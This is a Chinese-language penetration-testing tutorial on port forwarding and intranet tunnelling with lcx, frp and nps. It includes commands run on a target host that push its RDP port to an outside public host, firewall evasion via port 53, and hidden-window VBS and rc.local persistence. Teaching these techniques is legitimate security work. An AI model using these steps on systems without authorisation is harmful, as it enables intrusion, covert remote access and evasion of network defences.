在渗透测试过程中,我们经常会用到端口转发,利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。
lcx端口转发
lcx是一个基于Socket套接字实现的端口转发工具,Windows版本为lcx.exe,Linux版为portmap。
内网端口转发(以Windows为例)
在公网主机上执行命令:lcx.exe -listen 4444 5555
将4444端口监听到的所有数据转发到5555端口
PS:如无法执行可尝试管理员权限的cmd
C:\Users\Riy\Desktop>lcx.exe -listen 4444 5555
======================== HUC Packet Transmit Tool V1.00 =======================
=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url]
==========
[+] Listening port 4444 ......
[+] Listen OK!
[+] Listening port 5555 ......
[+] Listen OK!
[+] Waiting for Client on port:4444 ......
[+] Accept a Client on port 4444 from 192.168.1.111 ......
[+] Waiting another Client on port:5555....
在目标主机执行命令:lcx.exe -slave 192.168.1.109 4444 127.0.0.1 3389
将目标主机的3389端口转发到192.168.1.109的4444端口
C:\Users\Riy\Desktop>lcx.exe -slave 192.168.1.109 4444 127.0.0.1 3389
======================== HUC Packet Transmit Tool V1.00 =======================
=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url]
==========
[+] Make a Connection to 192.168.1.109:4444....
使用远程mstsc连接192.168.1.109:5555,即可访问目标主机的3389端口。
本地端口映射
将目标主机的3389端口数据透传到53端口,针对一些对端口存在限制的防火墙就可以绕过限制
C:\Users\Riy\Desktop>lcx.exe -tran 53 127.0.0.1 3389
======================== HUC Packet Transmit Tool V1.00 =======================
=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url]
==========
[+] Waiting for Client ......
frp内网穿透
frp 是一个高性能的反向代理应用,可以帮助您轻松地进行内网穿透,对外网提供服务,支持 tcp, http, https 等协议类型,并且 web 服务支持根据域名进行路由转发。
下载地址:https://github.com/fatedier/frp/releases
服务端(frps.ini)
以Windows为例cmd执行frps.exe -c frps.ini
简单配置如下(默认配置):
[common]
bind_port = 7000
客户端(frpc.ini)
以Windows为例cmd执行frpc.exe -c frpc.ini
简单配置如下:
[common]
server_addr = 192.168.1.110 #此次填写公网IP
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 7100
设置开机自启
Windows下:
1、设置frps自启动,自启动的脚本保存为frps.vbs:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c c:\frps\frps.exe -c c:\frps\frps.ini",vbhide
2、设置frpc自启动,自启动脚本保存为frpc.vbs:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c c:\frpc\frpc.exe -c c:\frpc\frpc.ini",vbhide
3、然后把vbs放到启动目录即可
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Linux下:
在/etc/rc.local里面添加(文件的具体路径根据实际情况填写)
/root/frp_0.20.0_linux_amd64/frpc -c /root/frp_0.20.0_linux_amd64/frpc.ini > /root/frp_0.20.0_linux_amd64/log.log 2>&1
更多功能
查看:https://github.com/fatedier/frp
nps内网穿透
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
下载地址:https://github.com/ehang-io/nps/releases
服务端配置(以Linux为例)
配置文件为conf/nps.conf,根据需求配置。
安装服务端: ./nps install
启动服务端: ./nps
访问 IP:8080,默认账户/密码为:admin/123
设置客户端连接密钥为123456
客户端配置(以Linux为例)
默认端口为8024,可在配置文件修改
安装客户端: ./npc install
启动客户端: ./npc -server=IP:8024 -vkey=客户端的密钥
成功连接
无法成功启动
如遇无法启动,如提示端口被占用,使用一下方法杀死占用端口
#查看占用端口端口的进程
netstat -anp | grep 22(端口号)
#杀死某个端口的占用进程
# -9 参数表示告诉操作系统直接杀死进程, 无论进程的状态是否可杀死
kill -s 9 9646(进程号)
更多功能
查看:https://github.com/ehang-io/nps/blob/master/README_zh.md
最后
代理转发及内网穿透工具还有很多,比如:nc, ew, Venom等,这里笔者只做了简单的介绍,更多好玩的工具大家自己去探索(●'◡'●)